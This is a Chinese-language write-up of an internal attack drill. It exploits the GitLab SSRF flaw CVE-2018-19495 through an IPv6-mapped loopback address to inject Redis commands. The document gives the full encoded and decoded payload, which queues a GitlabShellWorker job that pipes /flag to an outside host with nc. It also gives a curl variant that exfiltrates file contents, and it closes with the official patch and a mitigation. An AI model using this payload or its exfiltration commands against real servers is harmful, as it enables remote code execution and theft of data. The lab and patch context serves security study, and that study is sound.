GitLab SSRF(CVE-2018-19495)利用笔记

Table of Contents

公司最近内部用这个漏洞做了一次攻击演练,该漏洞是 GitLab 11.4.x 之前版本存在一个 SSRF 漏洞,本次演练利用这个 SSRF 漏洞结合 Redis 去获得服务器上的 flag 文件。

漏洞公告请见:https://nvd.nist.gov/vuln/detail/CVE-2018-19495

1. 漏洞环境配置

从 Docker 仓库里拉取有漏洞的镜像,并启动:

sudo docker pull gitlab/gitlab-ce:11.4.7-ce.0
sudo docker run -d -it -p 8080:80 -p 8022:22 -p 8443:443 --name gitlab docker.io/gitlab/gitlab-ce:11.4.7-ce.0

编辑配置文件:

sudo docker exec -it gitlab vim /etc/gitlab/gitlab.rb

配置如下选项:

gitlab_rails['gitlab_email_enabled'] = false # 为了不用 Email 注册 GitLab
gitlab_rails['redis_host'] = "127.0.0.1"
gitlab_rails['redis_port'] = 6379
redis['bind'] = '127.0.0.1'
redis['port'] = 6379

然后重新构建配置:

sudo docker exec -it gitlab  gitlab-ctl reconfigure

2. 漏洞分析

2.1. 触发漏洞

GitLab 新建仓库时支持导入远程的代码仓库,但在处理仓库地址时,虽然禁止了 127.0.0.1,却没有对 IPv6 地址做判断,因此可以将 127.0.0.1 转成 IPv6 地址,对 GitLab 服务器做 SSRF 攻击。

我们可以尝试一下,先在容器里安装 nc:

sudo docker exec -it gitlab apt install netcat

然后监听 1234 端口:

sudo docker exec -it gitlab nc -lp 1234

接着去 GitLab 系统上,选择“New project” > “Import project” > “Repo by URL”,并在“Git repository URL”填入:

http://[0:0:0:0:0:ffff:127.0.0.1]:1234/test.git

回到监听的 nc 窗口,可以看到收到了数据:

GET /test.git/info/refs?service=git-upload-pack HTTP/1.1
Host: [0:0:0:0:0:ffff:127.0.0.1]:1234
User-Agent: git/2.18.1
Accept: */*
Accept-Encoding: deflate, gzip
Pragma: no-cache

2.2. 结合 Redis 利用漏洞

如果向 Redis 监听的端口直接发送的数据会被当作 Redis 命令执行,我们可以测试下:

$ sudo docker exec -it gitlab nc localhost 6379
set a 1        <- SET 命令设置键`a`的值
+OK
get a          <- GET 命令尝试获得键`a`的值
$1
1              <- 返回结果

所以可以利用这个 SSRF 漏洞向 Redis 发送命令,公开的 Payload 如下:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20192%2E168%2E178%2E21%201234%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git

解码后如下:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /flag | nc 192.168.178.21 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/ssrf.git

我们再次在 GitLab 容器里用 nc 监听个端口(此处为 1234),然后把上面的 Payload 里端口改成 nc 监听的,看看 nc 收到的数据长什么样:

$ sudo docker exec -it gitlab nc -lp 1234
01c0git-upload-pack /
 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /flag | nc 192.168.178.21 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/test.githost=[0:0:0:0:0:ffff:127.0.0.1]:1234

所以,如果 Redis 服务收到这段数据,就会当作多条 Redis 命令执行。

Payload 向 system_hook_push 队列中插入了 GitlabShellWorker 命令,GitlabShellWorker 实现位于 app/workers/gitlab_shell_worker.rb:

class GitlabShellWorker
  include ApplicationWorker
  include Gitlab::ShellAdapter

  def perform(action, *arg)
    gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
  end
end

传递对应的参数,等待 GitLab 取到这个任务并执行 shell:

[\"class_eval\",\"open(\'|cat /flag | nc 192.168.178.21 1234\').read\"]

3. 修复方法

如果 Redis 和 GitLab 运行在一起,应当用 UNIX 域套接字通信,不要去暴露一个端口。

官方的修复补丁:https://gitlab.com/gitlab-org/gitlab-ce/commit/a9f5b22394954be8941566da1cf349bb6a179974

补丁主要修复措施:

1、在请求地址以前,判断如果是 IPv6 地址,就转成 IPv4:

addrs_info = Addrinfo.getaddrinfo(uri.hostname, port, nil, :STREAM).map do |addr|
  addr.ipv6_v4mapped? ? addr.ipv6_to_ipv4 : addr
end

2、判断 IP 地址是否为本地网络时,增加了 IPv6 的判断:

def validate_local_network!(addrs_info)
  return unless addrs_info.any? { |addr| addr.ipv4_private? || addr.ipv6_sitelocal? || addr.ipv6_unique_local? }

4. 关于这次演练

我第一个拿到 flag,赛后有同事发邮件说他用公开的 Payload 始终不成功,问我思路,以下为我的答复:

我没有 CTF 经验,所以我的思路不一定适合比赛。

首先拿到靶场环境,我看到是 GitLab 的时候并没有认为它一定是攻击入口点,因此先开 Nmap 扫它,同时查到 GitLab 版本,然后在网上找公开的漏洞。

然后我在 https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018 找到一篇 CTF 题,并且版本和这次比赛的是一致,大概率就是和这次比赛有关了,所以把文章看了一篇,知道漏洞产生原因和利用方式。

接着就是把慢慢尝试给的 Payload,但没有成功。想想为什么没有数据发到监听的 nc 上?罗列一下大概就这些原因:

1、如果监听在外网服务器的,没收到数据包那有可能是靶场和外网互不相通;

2、如果监听在内网服务器的,那可能监听的服务器有防火墙,导致数据没收到;

3、以上都检查了,那是不是考虑下服务器上命令没有执行成功?给出的 Payload 命令:cat /flag | nc 192.168.178.21 1234,首先 cat 存在的可能性很大,那 nc 呢?不一定存在,所以把 nc 改成 curl、wget 试下呢,然后我发现改 curl 后 nc 收到数据了,所以说明这个 Payload 是可工作的,那就变形下:curl 服务器 IP:端口/?`cat /flag`,最后就得到 flag 了:

GET /?flagf3269e73-0b8e-437a-8bb2-aba52f2946bc HTTP/1.1
Host: 10.255.4.170:1234
User-Agent: curl/7.59.0
Accept: */*

拿 flagf3269e73-0b8e-437a-8bb2-aba52f2946bc 去提交发现不对,想想应该不会有错,把前面“flag”字符串去掉后就提交成功了。

5. 参考